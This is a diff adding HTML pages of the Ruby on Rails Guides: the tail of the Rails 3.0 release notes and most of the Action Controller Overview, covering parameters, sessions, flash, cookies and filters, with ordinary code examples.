+	<li>You can pass a proc to the <tt>format.mime_type</tt> calls within the mail block and explicitly render specific types of text, or add layouts or different templates. The <tt>render</tt> call inside the proc is from Abstract Controller and supports the same options.</li>
+	<li>What were mailer unit tests have been moved to functional tests.</li>
+	<li>Action Mailer now delegates all auto encoding of header fields and bodies to Mail Gem</li>
+	<li>Action Mailer will auto encode email bodies and headers for you</li>
+</ul>
+<p>Deprecations:</p>
+<ul>
+	<li><tt>:charset</tt>, <tt>:content_type</tt>, <tt>:mime_version</tt>, <tt>:implicit_parts_order</tt> are all deprecated in favor of <tt>ActionMailer.default :key =&gt; value</tt> style declarations.</li>
+	<li>Mailer dynamic <tt>create_method_name</tt> and <tt>deliver_method_name</tt> are deprecated, just call <tt>method_name</tt> which now returns a <tt>Mail::Message</tt> object.</li>
+	<li><tt>ActionMailer.deliver(message)</tt> is deprecated, just call <tt>message.deliver</tt>.</li>
+	<li><tt>template_root</tt> is deprecated, pass options to a render call inside a proc from the <tt>format.mime_type</tt> method inside the <tt>mail</tt> generation block</li>
+	<li>The <tt>body</tt> method to define instance variables is deprecated (<tt>body {:ivar =&gt; value}</tt>), just declare instance variables in the method directly and they will be available in the view.</li>
+	<li>Mailers being in <tt>app/models</tt> is deprecated, use <tt>app/mailers</tt> instead.</li>
+</ul>
+<p>More Information:</p>
+<ul>
+	<li><a href="http://lindsaar.net/2010/1/26/new-actionmailer-api-in-rails-3">New Action Mailer <span class="caps">API</span> in Rails 3</a></li>
+	<li><a href="http://lindsaar.net/2010/1/23/mail-gem-version-2-released">New Mail Gem for Ruby</a></li>
+</ul>
+<h3 id="credits">13 Credits</h3>
+<p>See the <a href="http://contributors.rubyonrails.org/">full list of contributors to Rails</a> for the many people who spent many hours making Rails 3.  Kudos to all of them.</p>
+<p>Rails 3.0 Release Notes were compiled by <a href="http://lindsaar.net">Mikel Lindsaar</a>.</p>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/action_controller_overview.html
@@ -0,0 +1,1032 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: Action Controller Overview</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>Action Controller Overview</h2>
+<p>In this guide you will learn how controllers work and how they fit into the request cycle in your application. After reading this guide, you will be able to:</p>
+<ul>
+	<li>Follow the flow of a request through a controller</li>
+	<li>Understand why and how to store data in the session or cookies</li>
+	<li>Work with filters to execute code during request processing</li>
+	<li>Use Action Controller&#8217;s built-in <span class="caps">HTTP</span> authentication</li>
+	<li>Stream data directly to the user&#8217;s browser</li>
+	<li>Filter sensitive parameters so they do not appear in the application&#8217;s log</li>
+	<li>Deal with exceptions that may be raised during request processing</li>
+</ul>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#what-does-a-controller-do">What Does a Controller Do?</a></li><li><a href="#methods-and-actions">Methods and Actions</a></li><li><a href="#parameters">Parameters</a><ul><li><a href="#hash-and-array-parameters">Hash and Array Parameters</a></li> <li><a href="#routing-parameters">Routing Parameters</a></li> <li><a href="#default_url_options"><tt>default_url_options</tt></a></li></ul></li><li><a href="#session">Session</a><ul><li><a href="#accessing-the-session">Accessing the Session</a></li> <li><a href="#the-flash">The Flash</a></li></ul></li><li><a href="#cookies">Cookies</a></li><li><a href="#rendering-xml-and-json-data">Rendering xml and json data</a></li><li><a href="#filters">Filters</a><ul><li><a href="#after-filters-and-around-filters">After Filters and Around Filters</a></li> <li><a href="#other-ways-to-use-filters">Other Ways to Use Filters</a></li></ul></li><li><a href="#verification">Verification</a></li><li><a href="#request-forgery-protection">Request Forgery Protection</a></li><li><a href="#the-request-and-response-objects">The Request and Response Objects</a><ul><li><a href="#the-request-object">The <tt>request</tt> Object</a></li> <li><a href="#the-response-object">The <tt>response</tt> Object</a></li></ul></li><li><a href="#http-authentications"><span class="caps">HTTP</span> Authentications</a><ul><li><a href="#http-basic-authentication"><span class="caps">HTTP</span> Basic Authentication</a></li> <li><a href="#http-digest-authentication"><span class="caps">HTTP</span> Digest Authentication</a></li></ul></li><li><a href="#streaming-and-file-downloads">Streaming and File Downloads</a><ul><li><a href="#sending-files">Sending Files</a></li> <li><a href="#restful-downloads">RESTful Downloads</a></li></ul></li><li><a href="#parameter-filtering">Parameter Filtering</a></li><li><a href="#rescue">Rescue</a><ul><li><a href="#the-default-500-and-404-templates">The Default 500 and 404 Templates</a></li> <li><a href="#rescue_from"><tt>rescue_from</tt></a></li></ul></li><li><a href="#changelog">Changelog</a></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <h3 id="what-does-a-controller-do">1 What Does a Controller Do?</h3>
+<p>Action Controller is the C in <span class="caps">MVC</span>. After routing has determined which controller to use for a request, your controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straightforward as possible.</p>
+<p>For most conventional RESTful applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create <span class="caps">HTML</span> output. If your controller needs to do things a little differently, that&#8217;s not a problem, this is just the most common way for a controller to work.</p>
+<p>A controller can thus be thought of as a middle man between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates data from the user to the model.</p>
+<div class='note'><p>For more details on the routing process, see <a href="routing.html">Rails Routing from the Outside In</a>.</p></div>
+<h3 id="methods-and-actions">2 Methods and Actions</h3>
+<p>A controller is a Ruby class which inherits from <tt>ApplicationController</tt> and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the method with the same name as the action.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class ClientsController &lt; ApplicationController
+  def new
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>As an example, if a user goes to <tt>/clients/new</tt> in your application to add a new client, Rails will create an instance of <tt>ClientsController</tt> and run the <tt>new</tt> method. Note that the empty method from the example above could work just fine because Rails will by default render the <tt>new.html.erb</tt> view unless the action says otherwise. The <tt>new</tt> method could make available to the view a <tt>@client</tt> instance variable by creating a new <tt>Client</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def new
+  @client = Client.new
+end
+</pre>
+</div>
+</notextile>
+
+<p>The <a href="layouts_and_rendering.html">Layouts &amp; Rendering Guide</a> explains this in more detail.</p>
+<p><tt>ApplicationController</tt> inherits from <tt>ActionController::Base</tt>, which defines a number of helpful methods. This guide will cover some of these, but if you&#8217;re curious to see what&#8217;s in there, you can see all of them in the <span class="caps">API</span> documentation or in the source itself.</p>
+<p>Only public methods are callable as actions. It is a best practice to lower the visibility of methods which are not intended to be actions, like auxiliary methods or filters.</p>
+<h3 id="parameters">3 Parameters</h3>
+<p>You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the <span class="caps">URL</span>, called query string parameters. The query string is everything after &#8220;?&#8221; in the <span class="caps">URL</span>. The second type of parameter is usually referred to as <span class="caps">POST</span> data. This information usually comes from an <span class="caps">HTML</span> form which has been filled in by the user. It&#8217;s called <span class="caps">POST</span> data because it can only be sent as part of an <span class="caps">HTTP</span> <span class="caps">POST</span> request. Rails does not make any distinction between query string parameters and <span class="caps">POST</span> parameters, and both are available in the <tt>params</tt> hash in your controller:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class ClientsController &lt; ActionController::Base
+  # This action uses query string parameters because it gets run
+  # by an HTTP GET request, but this does not make any difference
+  # to the way in which the parameters are accessed. The URL for
+  # this action would look like this in order to list activated
+  # clients: /clients?status=activated
+  def index
+    if params[:status] == &quot;activated&quot;
+      @clients = Client.activated
+    else
+      @clients = Client.unactivated
+    end
+  end
+
+  # This action uses POST parameters. They are most likely coming
+  # from an HTML form which the user has submitted. The URL for
+  # this RESTful request will be &quot;/clients&quot;, and the data will be
+  # sent as part of the request body.
+  def create
+    @client = Client.new(params[:client])
+    if @client.save
+      redirect_to @client
+    else
+      # This line overrides the default rendering behavior, which
+      # would have been to render the &quot;create&quot; view.
+      render :action =&gt; &quot;new&quot;
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<h4 id="hash-and-array-parameters">3.1 Hash and Array Parameters</h4>
+<p>The <tt>params</tt> hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append an empty pair of square brackets &#8220;[]&#8221; to the key name:</p>
+<pre>
+GET /clients?ids[]=1&amp;ids[]=2&amp;ids[]=3
+</pre>
+<div class='note'><p>The actual <span class="caps">URL</span> in this example will be encoded as &#8220;/clients?ids%5b%5d=1&amp;ids%5b%5d=2&amp;ids%5b%5d=3&#8221; as &#8220;[&#8221; and &#8220;]&#8221; are not allowed in URLs. Most of the time you don&#8217;t have to worry about this because the browser will take care of it for you, and Rails will decode it back when it receives it, but if you ever find yourself having to send those requests to the server manually you have to keep this in mind.</p></div>
+<p>The value of <tt>params[:ids]</tt> will now be <tt>["1", "2", "3"]</tt>. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type.</p>
+<p>To send a hash you include the key name inside the brackets:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;form action=&quot;/clients&quot; method=&quot;post&quot;&gt;
+  &lt;input type=&quot;text&quot; name=&quot;client[name]&quot; value=&quot;Acme&quot; /&gt;
+  &lt;input type=&quot;text&quot; name=&quot;client[phone]&quot; value=&quot;12345&quot; /&gt;
+  &lt;input type=&quot;text&quot; name=&quot;client[address][postcode]&quot; value=&quot;12345&quot; /&gt;
+  &lt;input type=&quot;text&quot; name=&quot;client[address][city]&quot; value=&quot;Carrot City&quot; /&gt;
+&lt;/form&gt;
+</pre>
+</div>
+</notextile>
+
+<p>When this form is submitted, the value of <tt>params[:client]</tt> will be <tt>{&quot;name&quot; =&gt; &#8220;Acme&#8221;, &#8220;phone&#8221; =&gt; &#8220;12345&#8221;, &#8220;address&#8221; =&gt; {&quot;postcode&quot; =&gt; &#8220;12345&#8221;, &#8220;city&#8221; =&gt; &#8220;Carrot City&#8221;}}</tt>. Note the nested hash in <tt>params[:client][:address]</tt>.</p>
+<p>Note that the <tt>params</tt> hash is actually an instance of <tt>HashWithIndifferentAccess</tt> from Active Support, which acts like a hash that lets you use symbols and strings interchangeably as keys.</p>
+<h4 id="routing-parameters">3.2 Routing Parameters</h4>
+<p>The <tt>params</tt> hash will always contain the <tt>:controller</tt> and <tt>:action</tt> keys, but you should use the methods <tt>controller_name</tt> and <tt>action_name</tt> instead to access these values. Any other parameters defined by the routing, such as <tt>:id</tt> will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the <tt>:status</tt> parameter in a &#8220;pretty&#8221; <span class="caps">URL</span>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+map.connect &quot;/clients/:status&quot;,
+  :controller =&gt; &quot;clients&quot;,
+  :action =&gt; &quot;index&quot;,
+  :foo =&gt; &quot;bar&quot;
+</pre>
+</div>
+</notextile>
+
+<p>In this case, when a user opens the <span class="caps">URL</span> <tt>/clients/active</tt>, <tt>params[:status]</tt> will be set to &#8220;active&#8221;. When this route is used, <tt>params[:foo]</tt> will also be set to &#8220;bar&#8221; just like it was passed in the query string. In the same way <tt>params[:action]</tt> will contain &#8220;index&#8221;.</p>
+<h4 id="default_url_options">3.3 <tt>default_url_options</tt></h4>
+<p>You can set global default parameters that will be used when generating URLs with <tt>default_url_options</tt>. To do this, define a method with that name in your controller:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class ApplicationController &lt; ActionController::Base
+  # The options parameter is the hash passed in to 'url_for'
+  def default_url_options(options)
+    {:locale =&gt; I18n.locale}
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>These options will be used as a starting-point when generating URLs, so it&#8217;s possible they&#8217;ll be overridden by <tt>url_for</tt>. Because this method is defined in the controller, you can define it on <tt>ApplicationController</tt> so it would be used for all <span class="caps">URL</span> generation, or you could define it on only one controller for all URLs generated there.</p>
+<h3 id="session">4 Session</h3>
+<p>Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms:</p>
+<ul>
+	<li>CookieStore &#8211; Stores everything on the client.</li>
+	<li>DRbStore &#8211; Stores the data on a DRb server.</li>
+	<li>MemCacheStore &#8211; Stores the data in a memcache.</li>
+	<li>ActiveRecordStore &#8211; Stores the data in a database using Active Record.</li>
+</ul>
+<p>All session stores use a cookie to store a unique ID for each session (you must use a cookie, Rails will not allow you to pass the session ID in the <span class="caps">URL</span> as this is less secure).</p>
+<p>For most stores this ID is used to look up the session data on the server, e.g. in a database table. There is one exception, and that is the default and recommended session store &#8211; the CookieStore &#8211; which stores all session data in the cookie itself (the ID is still available to you if you need it). This has the advantage of being very lightweight and it requires zero setup in a new application in order to use the session. The cookie data is cryptographically signed to make it tamper-proof, but it is not encrypted, so anyone with access to it can read its contents but not edit it (Rails will not accept it if it has been edited).</p>
+<p>The CookieStore can store around 4kB of data &#8212; much less than the others &#8212; but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error.</p>
+<p>Read more about session storage in the <a href="security.html">Security Guide</a>.</p>
+<p>If you need a different session storage mechanism, you can change it in the <tt>config/initializers/session_store.rb</tt> file:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Use the database for sessions instead of the cookie-based default,
+# which shouldn't be used to store highly confidential information
+# (create the session table with &quot;rake db:sessions:create&quot;)
+# YourApp::Application.config.session_store :active_record_store
+</pre>
+</div>
+</notextile>
+
+<p>Rails sets up a session key (the name of the cookie) when signing the session data. These can also be changed in <tt>config/initializers/session_store.rb</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Be sure to restart your server when you modify this file.
+
+YourApp::Application.config.session_store :cookie_store, :key =&gt; '_your_app_session'
+</pre>
+</div>
+</notextile>
+
+<p>You can also pass a <tt>:domain</tt> key and specify the domain name for the cookie:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Be sure to restart your server when you modify this file.
+
+YourApp::Application.config.session_store :cookie_store, :key =&gt; '_your_app_session', :domain =&gt; &quot;.example.com&quot;
+</pre>
+</div>
+</notextile>
+
+<p>Rails sets up (for the CookieStore) a secret key used for signing the session data. This can be changed in <tt>config/initializers/secret_token.rb</tt></p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Be sure to restart your server when you modify this file.
+
+# Your secret key for verifying the integrity of signed cookies.
+# If you change this key, all old signed cookies will become invalid!
+# Make sure the secret is at least 30 characters and all random,
+# no regular words or you'll be exposed to dictionary attacks.
+YourApp::Application.config.secret_token = '49d3f3de9ed86c74b94ad6bd0...'
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Changing the secret when using the <tt>CookieStore</tt> will invalidate all existing sessions.</p></div>
+<h4 id="accessing-the-session">4.1 Accessing the Session</h4>
+<p>In your controller you can access the session through the <tt>session</tt> instance method.</p>
+<div class='note'><p>Sessions are lazily loaded. If you don&#8217;t access sessions in your action&#8217;s code, they will not be loaded. Hence you will never need to disable sessions, just not accessing them will do the job.</p></div>
+<p>Session values are stored using key/value pairs like a hash:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class ApplicationController &lt; ActionController::Base
+
+  private
+
+  # Finds the User with the ID stored in the session with the key
+  # :current_user_id This is a common way to handle user login in
+  # a Rails application; logging in sets the session value and
+  # logging out removes it.
+  def current_user
+    @_current_user ||= session[:current_user_id] &amp;&amp;
+      User.find(session[:current_user_id])
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>To store something in the session, just assign it to the key like a hash:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class LoginsController &lt; ApplicationController
+  # &quot;Create&quot; a login, aka &quot;log the user in&quot;
+  def create
+    if user = User.authenticate(params[:username], params[:password])
+      # Save the user ID in the session so it can be used in
+      # subsequent requests
+      session[:current_user_id] = user.id
+      redirect_to root_url
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>To remove something from the session, assign that key to be <tt>nil</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class LoginsController &lt; ApplicationController
+  # &quot;Delete&quot; a login, aka &quot;log the user out&quot;
+  def destroy
+    # Remove the user id from the session
+    @_current_user = session[:current_user_id] = nil
+    redirect_to root_url
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>To reset the entire session, use <tt>reset_session</tt>.</p>
+<h4 id="the-flash">4.2 The Flash</h4>
+<p>The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for storing error messages etc. It is accessed in much the same way as the session, like a hash. Let&#8217;s use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class LoginsController &lt; ApplicationController
+  def destroy
+    session[:current_user_id] = nil
+    flash[:notice] = &quot;You have successfully logged out&quot;
+    redirect_to root_url
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>Note it is also possible to assign a flash message as part of the redirection.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+redirect_to root_url, :notice =&gt; &quot;You have successfully logged out&quot;
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>destroy</tt> action redirects to the application&#8217;s <tt>root_url</tt>, where the message will be displayed. Note that it&#8217;s entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It&#8217;s conventional to display eventual errors or notices from the flash in the application&#8217;s layout:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&lt;html&gt;
+  &lt;!-- &lt;head/&gt; --&gt;
+  &lt;body&gt;
+    &lt;% if flash[:notice] %&gt;
+      &lt;p class=&quot;notice&quot;&gt;&lt;%= flash[:notice] %&gt;&lt;/p&gt;
+    &lt;% end %&gt;
+    &lt;% if flash[:error] %&gt;
+      &lt;p class=&quot;error&quot;&gt;&lt;%= flash[:error] %&gt;&lt;/p&gt;
+    &lt;% end %&gt;
+    &lt;!-- more content --&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+</notextile>
+
+<p>This way, if an action sets an error or a notice message, the layout will display it automatically.</p>
+<p>If you want a flash value to be carried over to another request, use the <tt>keep</tt> method:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class MainController &lt; ApplicationController
+  # Let's say this action corresponds to root_url, but you want
+  # all requests here to be redirected to UsersController#index.
+  # If an action sets the flash and redirects here, the values
+  # would normally be lost when another redirect happens, but you
+  # can use 'keep' to make it persist for another request.
+  def index
+    # Will persist all flash values.
+    flash.keep
+
+    # You can also use a key to keep only some kind of value.
+    # flash.keep(:notice)
+    redirect_to users_url
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<h5 id="flash-now">4.2.1 <tt>flash.now</tt></h5>
+<p>By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the <tt>create</tt> action fails to save a resource and you render the <tt>new</tt> template directly, that&#8217;s not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use <tt>flash.now</tt> in the same way you use the normal <tt>flash</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class ClientsController &lt; ApplicationController
+  def create
+    @client = Client.new(params[:client])
+    if @client.save
+      # ...
+    else
+      flash.now[:error] = &quot;Could not save client&quot;
+      render :action =&gt; &quot;new&quot;
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<h3 id="cookies">5 Cookies</h3>
+<p>Your application can store small amounts of data on the client &#8212; called cookies &#8212; that will be persisted across requests and even sessions. Rails provides easy access to cookies via the <tt>cookies</tt> method, which &#8212; much like the <tt>session</tt> &#8212; works like a hash:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class CommentsController &lt; ApplicationController
+  def new
+    # Auto-fill the commenter's name if it has been stored in a cookie
+    @comment = Comment.new(:name =&gt; cookies[:commenter_name])
+  end
+
+  def create
+    @comment = Comment.new(params[:comment])
+    if @comment.save
+      flash[:notice] = &quot;Thanks for your comment!&quot;
+      if params[:remember_name]
+        # Remember the commenter's name.
+        cookies[:commenter_name] = @comment.name
+      else
+        # Delete cookie for the commenter's name cookie, if any.
+        cookies.delete(:commenter_name)
+      end
+      redirect_to @comment.article
+    else
+      render :action =&gt; &quot;new&quot;
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>Note that while for session values you set the key to <tt>nil</tt>, to delete a cookie value you should use <tt>cookies.delete(:key)</tt>.</p>
+<h3 id="rendering-xml-and-json-data">6 Rendering xml and json data</h3>
+<p>ActionController makes it extremely easy to render <tt>xml</tt> or <tt>json</tt> data. If you generate a controller using scaffold then your controller would look something like this.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class UsersController &lt; ApplicationController
+  def index
+    @users = User.all
+    respond_to do |format|
+      format.html # index.html.erb
+      format.xml  { render :xml =&gt; @users}
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>Notice that in the above case code is <tt>render :xml =&gt; @users</tt> and not <tt>render :xml =&gt; @users.to_xml</tt>. That is because if the input is not string then rails automatically invokes <tt>to_xml</tt> .</p>
+<h3 id="filters">7 Filters</h3>
+<p>Filters are methods that are run before, after or &#8220;around&#8221; a controller action.</p>
+<p>Filters are inherited, so if you set a filter on <tt>ApplicationController</tt>, it will be run on every controller in your application.</p>
+<p>Before filters may halt the request cycle. A common before filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class ApplicationController &lt; ActionController::Base
+  before_filter :require_login
+
+  private
+
+  def require_login
+    unless logged_in?
+      flash[:error] = &quot;You must be logged in to access this section&quot;
+      redirect_to new_login_url # halts request cycle
+    end
+  end
+
+  # The logged_in? method simply returns true if the user is logged
+  # in and false otherwise. It does this by &quot;booleanizing&quot; the
+  # current_user method we created previously using a double ! operator.
+  # Note that this is not common in Ruby and is discouraged unless you
+  # really mean to convert something into true or false.
+  def logged_in?
+    !!current_user
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a before filter renders or redirects, the action will not run. If there are additional filters scheduled to run after that filter they are also cancelled.</p>
+<p>In this example the filter is added to <tt>ApplicationController</tt> and thus all controllers in the application inherit it. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn&#8217;t be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with <tt>skip_before_filter</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class LoginsController &lt; ApplicationController
+  skip_before_filter :require_login, :only =&gt; [:new, :create]
+end
+</pre>
+</div>
+</notextile>
+
+<p>Now, the <tt>LoginsController</tt>&#8217;s <tt>new</tt> and <tt>create</tt> actions will work as before without requiring the user to be logged in. The <tt>:only</tt> option is used to only skip this filter for these actions, and there is also an <tt>:except</tt> option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.</p>
+<h4 id="after-filters-and-around-filters">7.1 After Filters and Around Filters</h4>
+<p>In addition to before filters, you can run filters after an action has run or both before and after. The after filter is similar to the before filter, but because the action has already been run it has access to the response data that&#8217;s about to be sent to the client. Obviously, after filters can not stop the action from running.</p>
+<p>Around filters are responsible for running the action, but they can choose not to, which is the around filter&#8217;s way of stopping it.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Example taken from the Rails API filter documentation:
+# http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html
+class ApplicationController &lt; ActionController::Base
+  around_filter :catch_exceptions
+
+  private
+
+  def catch_exceptions
+    yield
+  rescue =&gt; exception
+    logger.debug &quot;Caught exception! #{exception}&quot;
